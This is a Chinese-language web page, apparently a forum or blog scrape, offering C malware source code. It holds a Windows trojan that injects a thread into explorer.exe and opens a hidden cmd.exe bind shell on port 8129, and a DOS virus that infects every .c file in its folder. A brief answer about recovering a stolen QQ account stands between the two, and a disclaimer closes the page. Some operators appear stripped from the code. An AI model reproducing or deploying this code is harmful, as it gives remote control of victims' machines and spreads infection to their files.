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c语言编写的木马源代码
#includewinsock2.h
#pragma comment(lib,"ws2_32.lib")
#includewindows.h
#include Shlwapi.h
#pragma comment(lib,"Shlwapi.lib")
#include tlhelp32.h
#include stdio.h
#include string.h
//参数结构 ;
typedef struct _RemotePara
{
DWORD dwLoadLibrary;
DWORD dwFreeLibrary;
DWORD dwGetProcAddress;
DWORD dwGetModuleHandle;
DWORD dwWSAStartup;
DWORD dwSocket;
DWORD dwhtons;
DWORD dwbind;
DWORD dwlisten;
DWORD dwaccept;
DWORD dwsend;
DWORD dwrecv;
DWORD dwclosesocket;
DWORD dwCreateProcessA;
DWORD dwPeekNamedPipe;
DWORD dwWriteFile;
DWORD dwReadFile;
DWORD dwCloseHandle;
DWORD dwCreatePipe;
DWORD dwTerminateProcess;
DWORD dwMessageBox;
char strMessageBox[12];
char winsockDll[16];
char cmd[10];
char Buff[4096];
char telnetmsg[60];
}RemotePara;
// 提升应用级调试权限
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);
// 根据进程名称得到进程ID
DWORD GetPidByName(char *szName);
// 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para)
{
WSADATA WSAData;
WORD nVersion;
SOCKET listenSocket;
SOCKET clientSocket;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int iAddrSize = sizeof(client_addr);
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1;
HANDLE hWritePipe1;
HANDLE hReadPipe2;
HANDLE hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;
typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);
FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
FARPROC Pclosesocket;
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PTerminateProcess;
PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-dwGetProcAddress;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para-dwFreeLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para-dwGetModuleHandle;
LoadLibraryFunc(Para-winsockDll);
PWSAStartup = (FARPROC)Para-dwWSAStartup;
PSocket = (FARPROC)Para-dwSocket;
Phtons = (FARPROC)Para-dwhtons;
Pbind = (FARPROC)Para-dwbind;
Plisten = (FARPROC)Para-dwlisten;
Paccept = (FARPROC)Para-dwaccept;
Psend = (FARPROC)Para-dwsend;
Precv = (FARPROC)Para-dwrecv;
Pclosesocket = (FARPROC)Para-dwclosesocket;
PCreateProcessA = (FARPROC)Para-dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para-dwPeekNamedPipe;
PWriteFile = (FARPROC)Para-dwWriteFile;
PReadFile = (FARPROC)Para-dwReadFile;
PCloseHandle = (FARPROC)Para-dwCloseHandle;
PCreatePipe = (FARPROC)Para-dwCreatePipe;
PTerminateProcess = (FARPROC)Para-dwTerminateProcess;
PMessageBoxA = (FARPROC)Para-dwMessageBox;
nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(listenSocket == INVALID_SOCKET)return 0;
server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;
if(Pbind(listenSocket, (struct sockaddr *)server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
if(Plisten(listenSocket, 5))return 0;
clientSocket = Paccept(listenSocket, (struct sockaddr *)client_addr, iAddrSize);
// Psend(clientSocket, Para-telnetmsg, 60, 0);
if(!PCreatePipe(hReadPipe1,hWritePipe1,sa,0))return 0;
if(!PCreatePipe(hReadPipe2,hWritePipe2,sa,0))return 0;
ZeroMemory(si,sizeof(si)); //ZeroMemory是C运行库函数，可以直接调用
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
if(!PCreateProcessA(NULL,Para-cmd,NULL,NULL,1,0,NULL,NULL,si,ProcessInformation))return 0;
while(1) {
memset(Para-Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para-Buff,4096,lBytesRead,0,0);
if(lBytesRead) {
if(!PReadFile(hReadPipe1, Para-Buff, lBytesRead, lBytesRead, 0))break;
if(!Psend(clientSocket, Para-Buff, lBytesRead, 0))break;
}else {
lBytesRead=Precv(clientSocket, Para-Buff, 4096, 0);
if(lBytesRead =0 ) break;
if(!PWriteFile(hWritePipe2, Para-Buff, lBytesRead, lBytesRead, 0))break;
}
}
PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);
// PMessageBoxA(NULL, Para-strMessageBox, Para-strMessageBox, MB_OK);
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
void *pRemoteThread;
HANDLE hToken,hRemoteProcess,hThread;
HINSTANCE hKernel,hUser32,hSock;
RemotePara myRemotePara,*pRemotePara;
DWORD pID;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);
// 获得指定进程句柄，并设其权限为PROCESS_ALL_ACCESS
pID = GetPidByName("EXPLORER.EXE");
if(pID == 0)return 0;
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return 0;
// 在远程进程地址空间分配虚拟内存
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0;
// 将线程执行体ThreadProc写入远程进程
if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, ThreadProc, THREADSIZE,0))return 0;
ZeroMemory(myRemotePara,sizeof(RemotePara));
hKernel = LoadLibrary( "kernel32.dll");
myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");
myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");
myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");
myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");
myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");
myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");
myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");
myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");
hSock = LoadLibrary("wsock32.dll");
myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");
myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");
myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");
myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");
myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");
myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");
myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");
myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");
myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");
hUser32 = LoadLibrary("user32.dll");
myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
strcat(myRemotePara.strMessageBox,"Sucess!\\0");
strcat(myRemotePara.winsockDll,"wsock32.dll\\0");
strcat(myRemotePara.cmd,"cmd.exe\\0");
strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0");
//写进目标进程
pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
if(!pRemotePara)return 0;
if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,myRemotePara,sizeof myRemotePara,0))return 0;
// 启动线程
hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,byte_write);
while(1) {}
FreeLibrary(hKernel);
FreeLibrary(hSock);
FreeLibrary(hUser32);
CloseHandle(hRemoteProcess);
CloseHandle(hToken);
return 0;
}
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,szPrivName,tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}
DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;
hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, pe32))
{
do
{
if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)
{
dwRet=pe32.th32ProcessID;
break;
}
}while (Process32Next(hProcessSnap,pe32));
}
else return 0;
if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return dwRet;
}
qq被源代码盗号还能找回么？
源代码是什么恐怕你都不理解，你以为是一大串你看不懂的字母吗？不是的，这个是编程语言，C语言、Java语言等等都属于编程语言，甚至连二进制等，这些都可以算作是源代码。而单纯的依赖源代码是无法盗号的，即使计算机之父来了也不能。
说那些源代码你很难理解，就说被盗号怎么找回吧。被盗号唯一的渠道就是去申诉，拿出你有力的证据，自己证明这个号是你自己的，只有你自己能证明了，号自然也就可以找回。比如用实名制、即使对方把你的手机号修改了，也可以依赖实名制找回。没有实名制，也没有手机号，啥都没有，连你自己都不能证明，还如何让别人甚至 *** 相信你，这还不如说天上那辆飞机是我的，你说谁会信。
至于下面的小骗子说有点棘手、不过能。能什么，我这随便考问他几个账号找回的问题、让他到网上找答案都回答不上来。骗人可以，不过智商有点太低了。就这样的骗子，我要是愿意，随便挖个坑让骗子往里跳，送进去监狱改造改造，猖狂。
c语言木马源代码
#include stdio.h
#include dir.h
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
}
return 0;
}
严重声明：这个程序只是供C语言新手参考，开玩笑没关系，但如果用来做不法的事情，本人概不负责。还有，编病毒、木马去做违法的事情惩罚是很重的，你如果想学编程，编个简单的就好了，否则后果很严重。